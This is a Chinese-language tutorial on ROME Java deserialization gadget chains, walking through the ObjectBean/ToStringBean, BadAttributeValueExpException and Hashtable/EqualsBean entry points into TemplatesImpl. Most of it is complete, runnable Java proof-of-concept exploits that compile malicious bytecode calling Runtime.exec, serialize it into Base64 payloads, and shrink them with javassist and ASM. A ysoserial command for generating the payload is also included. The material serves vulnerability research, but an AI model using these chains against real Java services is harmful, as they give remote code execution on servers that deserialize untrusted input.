ROEM链及其缩短链
字数 2340 2025-08-29 08:32:19

ROME反序列化漏洞分析与利用

1. 前置知识

1.1 ObjectBean类

com.sun.syndication.feed.impl.ObjectBean是ROME提供的一个封装类型:

  • 初始化时需要提供一个Class类型和一个Object对象实例进行封装
  • 包含三个重要成员变量:
    • EqualsBean
    • ToStringBean
    • CloneableBean
  • 这些成员变量为ObjectBean提供了equalstoStringclone以及hashCode方法

关键点:

  • ObjectBean#hashCode中会调用EqualsBean类的beanHashCode方法
  • 该方法会调用_obj成员变量的toString方法,这是漏洞触发的关键点

1.2 ToStringBean类

com.sun.syndication.feed.impl.ToStringBean是为对象提供toString方法的类:

  • 包含两个toString方法:
    1. 无参方法:获取调用链中上一个类或_obj属性中保存对象的类名,并调用第二个toString方法
    2. 带参方法:使用BeanIntrospector#getPropertyDescriptors获取_beanClass的所有getter和setter方法
    • 判断参数长度,长度等于0的方法会使用_obj实例进行反射调用
    • 通过这个点可以触发TemplatesImpl的利用链

2. 基础利用链分析

2.1 完整POC代码

package ysoserial.vulndemo;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Rome_POC {
    // 序列化操作工具
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        String bytesOfBase = Base64.getEncoder().encodeToString(bytes);
        return bytesOfBase;
    }
    
    // 反序列化操作工具
    public static void unserialize(String bytesOfBase) throws IOException, ClassNotFoundException {
        byte[] bytes = Base64.getDecoder().decode(bytesOfBase);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objInput = new ObjectInputStream(byteArrayInputStream);
        objInput.readObject();
    }
    
    // 为类的属性设置值的工具
    public static void setFieldVlue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    // payload的生成
    public static void exp() throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        // 生成恶意的bytecodes
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("evilexp");
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] bytes = ctClass.toBytecode();
        
        // 因为在TemplatesImp类中的构造函数中,_bytecodes为二维数组
        byte[][] bytes1 = new byte[][]{bytes};
        
        // 创建TemplatesImpl类
        TemplatesImpl templates = new TemplatesImpl();
        setFieldVlue(templates, "_name", "RoboTerh");
        setFieldVlue(templates, "_bytecodes", bytes1);
        setFieldVlue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 封装一个无害的类并放入Map中
        ObjectBean roboTerh = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "RoboTerh"));
        HashMap hashmap = new HashMap();
        hashmap.put(roboTerh, "RoboTerh");
        
        // 通过反射写入恶意类进入map中
        ObjectBean objectBean = new ObjectBean(Templates.class, templates);
        setFieldVlue(roboTerh, "_equalsBean", new EqualsBean(ObjectBean.class, objectBean));
        
        // 生成payload并输出
        String payload = serialize(hashmap);
        System.out.println(payload);
        
        // 触发payload,验证是否成功
        unserialize(payload);
    }
    
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        exp();
    }
}

2.2 调用链分析

  1. unserialize方法中的readObject开始反序列化
  2. 进入HashMap#readObject
  3. 求key值的hash,此时Key是ObjectBean
  4. HashMap#hash调用key的hashCode()方法
  5. 进入ObjectBean#hashCode,调用_equalsBeanbeanHashCode方法
  6. 进入EqualsBean#beanHashCode_objObjectBean类的对象,调用其toString方法
  7. 进入ObjectBean#toString_toStringBean属性是ToStringBean类的对象,调用其toString方法
  8. 进入ToStringBean#toString,获取所有getter和setter,判断参数长度调用方法(包括getOutputProperties
  9. 后续进入TemplatesImpl调用链:
    • getOutputProperties
    • newTransformer
    • getTransletInstance
    • defineTransletClasses

完整调用链:

HashMap.readObject()
ObjectBean.hashCode()
EqualsBean.beanHashCode()
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()

3. 优化与缩短payload

3.1 优化方向

  1. 序列化数据本身的缩小
  2. 针对TemplatesImpl_bytecodes字节码的缩小
  3. 执行代码的优化(STATIC代码块)

3.2 具体优化措施

  1. TemplatesImpl优化:

    • _name名称可以缩短为一个字符
    • _tfactory属性可以删除(分析TemplatesImpl得出)
    • EvilByteCodes类捕获异常后无需处理
  2. 使用ASM技术缩短字节码:

    • 删除LINENUMBER指令
    • 使用ProcessBuilder代替Runtime可以进一步缩短

优化后POC示例:

package ysoserial.vulndemo;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Opcodes;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Rome_shorter2 {
    public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("a");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make(" public a(){\n" +
                " try {\n" +
                " Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                " }catch (Exception ignored){}\n" +
                " }", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    }
    
    // 使用asm技术继续缩短
    public static byte[] shorterTemplatesImpl(byte[] bytes) throws IOException {
        String path = System.getProperty("user.dir") + File.separator + "a.class";
        try {
            Files.write(Paths.get(path), bytes);
        } catch (IOException e) {
            e.printStackTrace();
        }
        
        try {
            // asm删除LINENUMBER
            byte[] allBytes = Files.readAllBytes(Paths.get(path));
            ClassReader classReader = new ClassReader(allBytes);
            ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
            int api = Opcodes.ASM9;
            ClassVisitor classVisitor = new shortClassVisitor(api, classWriter);
            int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
            classReader.accept(classVisitor, parsingOptions);
            byte[] out = classWriter.toByteArray();
            Files.write(Paths.get(path), out);
        } catch (IOException e) {
            e.printStackTrace();
        }
        
        byte[] bytes1 = Files.readAllBytes(Paths.get("a.class"));
        // 删除class文件
        Files.delete(Paths.get("a.class"));
        return bytes1;
    }
    
    // 因为ClassVisitor是抽象类,需要继承
    public static class shortClassVisitor extends ClassVisitor {
        private final int api;
        public shortClassVisitor(int api, ClassVisitor classVisitor){
            super(api, classVisitor);
            this.api = api;
        }
    }
    
    // 设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    
    public static void unserialize(String code) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(code);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{shorterTemplatesImpl(getTemplatesImpl("calc"))});
        setFieldValue(templates, "_name", "a");
        
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(String.class, "a");
        
        HashMap hashMap = new HashMap();
        hashMap.put(null, null);
        hashMap.put(objectBean, null);
        
        setFieldValue(objectBean, "_equalsBean", equalsBean);
        
        String s = serialize(hashMap);
        System.out.println("长度为:" + s.length());
        System.out.println(s);
        unserialize(s);
    }
}

4. 其他利用链

4.1 BadAttributeValueExpException链

BadAttributeValueExpException类的readObject方法中:

  1. 读取ObjectInputStream中的信息
  2. 通过.get方法得到val的属性值
  3. 通过判断进入valObj.toString()方法
  4. 此时valObjToStringBean类,触发其toString方法

调用链:

BadAttributeValueExpException.readObject
ToStringBean.toString
TemplatesImpl.getOutputProperties
...

POC示例:

package ysoserial.vulndemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class Rome_shorter3 {
    public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("Evil");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
                " try {\n" +
                " Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                " }catch (Exception ignored){}\n" +
                " }", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    }
    
    // 设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    
    public static void unserialize(String code) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(code);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
        setFieldValue(templates, "_name", "a");
        
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        // 防止生成payload的时候触发漏洞
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException, "val", toStringBean);
        
        String s = serialize(badAttributeValueExpException);
        System.out.println(s);
        System.out.println("长度为:" + s.length());
        unserialize(s);
    }
}

4.2 EqualsBean链

EqualsBean类的equals方法调用了beanEquals方法,类似于CC7的利用方式:

  1. Hashtable#readObject中调用reconstitutionPut
  2. 首先调用key的hashCode方法求hash值
  3. 遍历判断两个hash值是否相等,相等则触发equals方法
  4. 需要两个hash相等的键:"yy""zZ"hash值相同

POC示例:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class RomeShorter {
    // 缩短TemplatesImpl链
    public static byte[] getTemplatesImpl(String cmd) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("Evil");
        CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
                " try {\n" +
                " Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                " }catch (Exception ignored){}\n" +
                " }", ctClass);
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    }
    
    // 设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static String serialize(Object obj) throws IOException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objOutput = new ObjectOutputStream(barr);
        objOutput.writeObject(obj);
        byte[] bytes = barr.toByteArray();
        objOutput.close();
        return Base64.getEncoder().encodeToString(bytes);
    }
    
    public static void unserialize(String code) throws IOException, ClassNotFoundException {
        byte[] decode = Base64.getDecoder().decode(code);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{getTemplatesImpl("calc")});
        setFieldValue(templates, "_name", "a");
        
        EqualsBean bean = new EqualsBean(String.class, "s");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", templates);
        map2.put("zZ", bean);
        map2.put("yy", templates);
        
        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");
        
        setFieldValue(bean, "_beanClass", Templates.class);
        setFieldValue(bean, "_obj", templates);
        
        String s = serialize(table);
        System.out.println(s);
        System.out.println(s.length());
        unserialize(s);
    }
}

使用ASM技术进一步缩短后,payload长度可以从1520缩短到1444。

5. 工具生成POC

使用ysoserial工具生成ROME链的POC:

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ROME 'calc' | base64

6. 关键总结

  1. ROME链的核心是利用ObjectBeanToStringBeantoString方法触发TemplatesImpl的恶意代码执行
  2. 可以通过多种入口点触发(HashMap、BadAttributeValueExpException、Hashtable等)
  3. 优化payload的关键点:
    • 缩短类名和属性名
    • 删除不必要的属性(如_tfactory
    • 使用ASM技术删除调试信息
    • 选择更短的命令执行方式
  4. 不同链的长度比较:
    • 基础ROME链:>2000字符
    • 优化后ROME链:~1500字符
    • 使用ASM进一步优化:~1400字符

理解这些利用链的关键在于掌握Java反序列化的触发点和TemplatesImpl的利用方式,以及如何通过反射和动态字节码技术构造高效的payload。

ROME反序列化漏洞分析与利用 1. 前置知识 1.1 ObjectBean类 com.sun.syndication.feed.impl.ObjectBean 是ROME提供的一个封装类型: 初始化时需要提供一个Class类型和一个Object对象实例进行封装 包含三个重要成员变量: EqualsBean ToStringBean CloneableBean 这些成员变量为ObjectBean提供了 equals 、 toString 、 clone 以及 hashCode 方法 关键点: 在 ObjectBean#hashCode 中会调用 EqualsBean 类的 beanHashCode 方法 该方法会调用 _obj 成员变量的 toString 方法,这是漏洞触发的关键点 1.2 ToStringBean类 com.sun.syndication.feed.impl.ToStringBean 是为对象提供 toString 方法的类: 包含两个 toString 方法: 无参方法:获取调用链中上一个类或 _obj 属性中保存对象的类名,并调用第二个 toString 方法 带参方法:使用 BeanIntrospector#getPropertyDescriptors 获取 _beanClass 的所有getter和setter方法 判断参数长度,长度等于0的方法会使用 _obj 实例进行反射调用 通过这个点可以触发 TemplatesImpl 的利用链 2. 基础利用链分析 2.1 完整POC代码 2.2 调用链分析 unserialize 方法中的 readObject 开始反序列化 进入 HashMap#readObject 求key值的hash,此时Key是 ObjectBean 类 HashMap#hash 调用key的 hashCode() 方法 进入 ObjectBean#hashCode ,调用 _equalsBean 的 beanHashCode 方法 进入 EqualsBean#beanHashCode , _obj 是 ObjectBean 类的对象,调用其 toString 方法 进入 ObjectBean#toString , _toStringBean 属性是 ToStringBean 类的对象,调用其 toString 方法 进入 ToStringBean#toString ,获取所有getter和setter,判断参数长度调用方法(包括 getOutputProperties ) 后续进入 TemplatesImpl 调用链: getOutputProperties newTransformer getTransletInstance defineTransletClasses 完整调用链: 3. 优化与缩短payload 3.1 优化方向 序列化数据本身的缩小 针对 TemplatesImpl 中 _bytecodes 字节码的缩小 执行代码的优化(STATIC代码块) 3.2 具体优化措施 TemplatesImpl 优化: _name 名称可以缩短为一个字符 _tfactory 属性可以删除(分析 TemplatesImpl 得出) EvilByteCodes 类捕获异常后无需处理 使用ASM技术缩短字节码: 删除 LINENUMBER 指令 使用 ProcessBuilder 代替 Runtime 可以进一步缩短 优化后POC示例: 4. 其他利用链 4.1 BadAttributeValueExpException链 BadAttributeValueExpException 类的 readObject 方法中: 读取 ObjectInputStream 中的信息 通过 .get 方法得到 val 的属性值 通过判断进入 valObj.toString() 方法 此时 valObj 是 ToStringBean 类,触发其 toString 方法 调用链: POC示例: 4.2 EqualsBean链 EqualsBean 类的 equals 方法调用了 beanEquals 方法,类似于CC7的利用方式: Hashtable#readObject 中调用 reconstitutionPut 首先调用key的 hashCode 方法求hash值 遍历判断两个hash值是否相等,相等则触发 equals 方法 需要两个hash相等的键: "yy" 和 "zZ" hash值相同 POC示例: 使用ASM技术进一步缩短后,payload长度可以从1520缩短到1444。 5. 工具生成POC 使用ysoserial工具生成ROME链的POC: 6. 关键总结 ROME链的核心是利用 ObjectBean 或 ToStringBean 的 toString 方法触发 TemplatesImpl 的恶意代码执行 可以通过多种入口点触发(HashMap、BadAttributeValueExpException、Hashtable等) 优化payload的关键点: 缩短类名和属性名 删除不必要的属性(如 _tfactory ) 使用ASM技术删除调试信息 选择更短的命令执行方式 不同链的长度比较: 基础ROME链:>2000字符 优化后ROME链:~1500字符 使用ASM进一步优化:~1400字符 理解这些利用链的关键在于掌握Java反序列化的触发点和 TemplatesImpl 的利用方式,以及如何通过反射和动态字节码技术构造高效的payload。